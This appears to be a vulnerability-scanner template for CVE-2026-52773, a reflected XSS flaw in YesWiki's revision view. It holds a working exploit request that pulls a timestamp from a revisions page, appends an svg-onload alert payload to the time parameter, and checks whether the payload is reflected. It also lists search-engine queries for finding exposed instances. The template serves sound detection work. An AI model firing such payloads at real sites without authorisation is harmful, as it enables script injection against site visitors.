id: CVE-2026-52773

info:
  name: YesWiki Archived Revision - Cross-Site Scripting
  author: 0x_Akoko
  severity: medium
  description: |
    YesWiki's archived-revision view reflects the time GET parameter into a hidden HTML input in handlers/page/show.php without escaping. Because MySQL coerces malformed DATETIME strings, an attacker can append an XSS payload after a valid revision timestamp.
  impact: |
   Attackers can execute arbitrary JavaScript in victims' browsers.
  remediation: |
   Upgrade YesWiki to version 4.6.6 or later where output encoding is applied.
  reference:
    - https://github.com/YesWiki/yeswiki/security/advisories/GHSA-35f3-pg38-486f
    - https://nvd.nist.gov/vuln/detail/CVE-2026-52773
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2026-52773
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    vendor: yeswiki
    product: yeswiki
    shodan-query: http.html:"YesWiki"
    fofa-query: body="YesWiki"
  tags: cve,cve2026,yeswiki,xss

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/?PagePrincipale/revisions"
      - "{{BaseURL}}/?GererSite/revisions"

    matchers:
      - type: word
        part: body
        words:
          - "&quot;time&quot;"
        internal: true

    extractors:
      - type: regex
        name: timestamp
        part: body
        internal: true
        group: 1
        regex:
          - '&quot;time&quot;:&quot;(\d{4}-\d{2}-\d{2}\s\d{2}:\d{2}:\d{2})&quot;'

  - method: GET
    path:
      - "{{BaseURL}}/?PagePrincipale&time={{url_encode(timestamp)}}%22%3E%3Csvg%20onload%3Dalert(document.domain)%3E"
      - "{{BaseURL}}/?GererSite&time={{url_encode(timestamp)}}%22%3E%3Csvg%20onload%3Dalert(document.domain)%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><svg onload=alert(document.domain)>'
          - 'name="time"'
        condition: and

      - type: word
        part: body
        words:
          - "yeswiki"
        case-insensitive: true

      - type: word
        part: content_type
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a00463044022013e50a0b95c9b894262f5b22b93a788f9fe18a5a106de5d4156ed0108403d21f02200eab4f7f26e3c35988ec62ce5834d9db802731557ee76815e78593cd453fc97c:922c64590222798bb761d5b6d8e72950